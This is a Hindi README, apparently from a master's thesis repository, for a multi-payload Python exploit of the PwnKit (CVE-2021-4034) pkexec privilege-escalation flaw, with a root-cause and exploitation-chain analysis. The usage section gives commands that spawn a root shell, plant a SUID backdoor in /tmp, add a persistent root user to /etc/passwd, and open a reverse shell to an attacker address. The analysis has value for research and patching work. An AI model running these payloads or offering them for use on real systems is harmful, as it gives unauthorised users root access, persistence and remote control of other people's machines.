
मास्टर की थीसिस शोध CVE-2021-4034 (PwnKit) स्थानीय विशेषाधिकार वृद्धि पर। 7 मोड वाला मल्टी-पेलोड Python एक्सप्लॉइट जिसमें इंटरैक्टिव शेल, SUID बैकडोर, रिवर्स शेल, और रूट यूज़र निर्माण शामिल हैं। रूट कॉज़ विश्लेषण और एक्सप्लॉइटेशन चेन दस्तावेज़ीकरण भी शामिल है।
polkit की pkexec उपयोगिता में मेमोरी भ्रष्टाचार भेद्यता
सीमा से बाहर लेखन के माध्यम से स्थानीय विशेषाधिकार वृद्धि → रूट
प्रभावित: polkit 0.105-31 और पुराने · पैच: polkit 0.105-33 (जनवरी 2022)
CVE-2021-4034 - PwnKit के माध्यम से प्राप्त इंटरैक्टिव रूट शेल
इस रिपॉजिटरी में CVE-2021-4034 पर मेरा मास्टर थीसिस अनुसंधान शामिल है, जो polkit की pkexec उपयोगिता में एक उच्च-गंभीरता (CVSS 7.8) स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जिसे आमतौर पर PwnKit के नाम से जाना जाता है।
यह भेद्यता pkexec के आर्गुमेंट प्रोसेसिंग लॉजिक में सीमा से बाहर लेखन (out-of-bounds write) से उत्पन्न होती है। जब pkexec को खाली या क्राफ्टेड argv के साथ निष्पादित किया जाता है, तो यह argv ऐरे की सीमा से बाहर पढ़ता और लिखता है, envp ऐरे में प्रवेश करता है, जिससे एक असाधारित स्थानीय उपयोगकर्ता दुर्भावनापूर्ण पर्यावरण चर इंजेक्ट कर सकता है जो बाद में एक साझा लाइब्रेरी के रूप में लोड होते हैं, रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित करते हैं।
| पहलू | विवरण |
|---|---|
| बहु-पेलोड एक्सप्लॉइट | 6 पेलोड मोड वाला Python रैपर जिसमें शेल, id, बैकडोर और रिवर्स शेल शामिल हैं |
| स्वचालित पर्यावरण सेटअप | स्वचालित GCONV_PATH निर्माण और gconv-modules कॉन्फ़िगरेशन |
| पोस्ट-एक्सप्लॉइटेशन मॉड्यूल | SUID बैकडोर, रूट उपयोगकर्ता निर्माण और कस्टम कमांड निष्पादन |
| शैक्षणिक दस्तावेज़ीकरण | मूल कारण विश्लेषण, शोषण श्रृंखला और भेद्यता समयरेखा |
CVE-2021-4034/
├── README.md # यह फ़ाइल
├── LICENSE # MIT लाइसेंस
│
├── exploit/
│ └── pwnkit.py # एकाधिक पेलोड वाला उन्नत एक्सप्लॉइट
│
└── docs/
├── screenshots/ # शोषण प्रदर्शन
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # भेद्यता मूल कारण विश्लेषण
├── 02-exploitation-chain.md # शोषण श्रृंखला विवरण
└── 03-timeline.md # CVE समयरेखा
pkexec --version 0.105 या पुराना दिखाता है)apt install gcc)# इंटरैक्टिव रूट शेल (डिफ़ॉल्ट)
python3 exploit/pwnkit.py -p shell
# निष्पादन संदर्भ सत्यापित करें
python3 exploit/pwnkit.py -p whoami
# रूट के रूप में कस्टम कमांड निष्पादित करें
python3 exploit/pwnkit.py -p custom -c "id"
# /tmp/.sh पर SUID बैकडोर बनाएं
python3 exploit/pwnkit.py -p backdoor_suid
# स्थायी रूट उपयोगकर्ता जोड़ें
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# रिवर्स शेल
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
| पेलोड | विवरण | आउटपुट |
|---|---|---|
shell | रूट के रूप में इंटरैक्टिव /bin/sh स्पॉन करता है | इंटरैक्टिव शेल |
id | id और whoami आउटपुट /tmp/pwnkit_id.txt में लिखता है | फ़ाइल |
whoami | UID/eUID सत्यापन /tmp/pwnkit_root_test में लिखता है | फ़ाइल |
backdoor_suid | /tmp/.sh पर SUID रूट bash कॉपी बनाता है | स्थायी बैकडोर |
add_root_user | /etc/passwd में कस्टम उपयोगकर्ता जोड़ता है | स्थायी पहुँच |
reverse_shell | Python के माध्यम से हमलावर से वापस जुड़ता है | रिमोट शेल |
custom | रूट के रूप में कोई भी कमांड निष्पादित करता है | Stdout / फ़ाइल |
pkexec चलाए जा रहे प्रोग्राम का पता लगाने के लिए अपने स्वयं के argv को संसाधित करता है। जब argc == 0 (खाली आर्गुमेंट वेक्टर) के साथ कॉल किया जाता है, तो argv पर सीमा जाँच चुपचाप विफल हो जाती है। परिणामी सीमा से बाहर पढ़ना envp[0] को argv[1] मानता है, और envp में वापस सीमा से बाहर लेखन एक हमलावर को एक पर्यावरण चर को क्राफ्टेड पथ से बदलने की अनुमति देता है। जब pkexec बाद में g_printerr() कॉल करता है, तो यह अब हमलावर-नियंत्रित पर्यावरण से GCONV_PATH लोड करता है, रूट विशेषाधिकारों के साथ हमलावर-आपूर्ति की गई साझा लाइब्रेरी लोड करता है।
argc == 0 → argv[1] envp[0] पढ़ता है
argv[1] = "GCONV_PATH=." (envp में वापस लिखता है)
pkexec ./pwnkit.so लोड करता है (हमलावर-नियंत्रित साझा लाइब्रेरी)
gconv_init() रूट के रूप में निष्पादित होता है
1. argv = { NULL } क्राफ्ट करें → argc = 0, OOB एक्सेस ट्रिगर करता है
2. envp[0] = "pwnkit.so:." सेट करें
3. envp[1] = "PATH=GCONV_PATH=." सेट करें
4. pkexec OOB-लिखता है "pwnkit.so:." को envp[0] में जैसे कि यह argv[1] हो
5. pkexec GCONV_PATH=. को हल करता है और gconv-modules लोड करता है
6. gconv-modules "PWNKIT" कैरेक्टर सेट को pwnkit.so से मैप करता है
7. pwnkit.so:gconv_init() रूट विशेषाधिकारों के साथ कॉल किया जाता है
8. पेलोड निष्पादित होता है (शेल / बैकडोर / रिवर्स शेल / आदि)
| घटक | मान | नोट्स |
|---|---|---|
| भेद्य बाइनरी | /usr/bin/pkexec | SUID रूट |
| ट्रिगर शर्त | argc == 0 | खाली argv |
| लेखन प्रिमिटिव | envp में OOB लेखन | argv[argc-1] के माध्यम से |
| लोड तंत्र | GCONV_PATH + gconv-modules | मानक glibc iconv |
| निष्पादन संदर्भ | साझा लाइब्रेरी में gconv_init() | EUID 0 के रूप में चलता है |
| प्रभावित संस्करण | polkit ≤ 0.105-31 | सभी प्रमुख Linux वितरण |







सभी परीक्षण Ubuntu 20.04 LTS चलाने वाले एक पृथक VirtualBox VM पर polkit 0.105-26 (भेद्य) के साथ किए गए, जिसमें कोई नेटवर्क एक्सपोज़र नहीं था।